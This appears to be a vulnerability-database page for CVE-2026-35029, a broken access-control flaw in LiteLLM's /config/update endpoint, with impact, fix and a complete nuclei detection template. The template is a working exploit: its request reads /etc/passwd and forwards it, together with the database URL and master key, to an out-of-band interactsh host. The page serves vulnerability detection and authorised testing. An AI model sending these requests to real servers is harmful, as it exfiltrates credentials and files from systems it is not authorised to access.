HexBrain

Browse / CVEs / CVE-2026-35029

CVE-2026-35029· berriai / litellm· CWE-863

LiteLLM - Arbitrary File Read

highseverity
8.8CVSS score
38.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.

Impact

Authenticated users can execute arbitrary code, read server files, and take over privileged accounts, leading to full system compromise.

Fix

Update to version 1.83.0 or later.

How to confirm it

Send: POST /config/update ; GET /health/liveliness ; GET /exfil-{{randstr}}
Positive when: contains(interactsh_protocol, "http") and regex("EXFIL:root:.*:0:0:", base64_decode(content))

Run it with nuclei: nuclei -id CVE-2026-35029 -u <target>

The full check
id: CVE-2026-35029

info:
  name: LiteLLM - Arbitrary File Read
  author: theamanrawat
  severity: high
  description: |
    LiteLLM < 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.
  impact: |
    Authenticated users can execute arbitrary code, read server files, and take over privileged accounts, leading to full system compromise.
  remediation: |
    Update to version 1.83.0 or later.
  reference:
    - https://github.com/BerriAI/litellm
    - https://sec-consult.com/vulnerability-lab/advisory/broken-access-control-in-config-endpoint-in-litellm/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-35029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-35029
    epss-score: 0.38613
    epss-percentile: 0.98591
    cwe-id: CWE-863
  metadata:
    max-request: 4
    verified: true
    vendor: berriai
    product: litellm
  tags: cve,cve2026,litellm,file-read,oob,oidc,oast,vuln,authenticated,vkev

http:
  - raw:
      - |
        POST /config/update HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{userkey}}
        Content-Type: application/json

        {"environment_variables":{"FILE_TO_READ":"/etc/passwd","EXFIL_PREFIX":"EXFIL"},"general_settings":{"pass_through_endpoints":[{"path":"/exfil-{{randstr}}","target":"https://{{interactsh-url}}","headers":{"LANGFUSE_PUBLIC_KEY":"os.environ/EXFIL_PREFIX","LANGFUSE_SECRET_KEY":"os.environ/oidc/env_path/FILE_TO_READ","X-DB-URL":"os.environ/DATABASE_URL","X-Master-Key":"os.environ/LITELLM_MASTER_KEY"}}]}}

      - |
        GET /health/liveliness HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /exfil-{{randstr}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: interactsh_request
        name: content
        group: 1
        regex:
          - "Authorization:\\s*Basic\\s+([A-Za-z0-9+/=]+)"
        internal: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'regex("EXFIL:root:.*:0:0:", base64_decode(content))'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from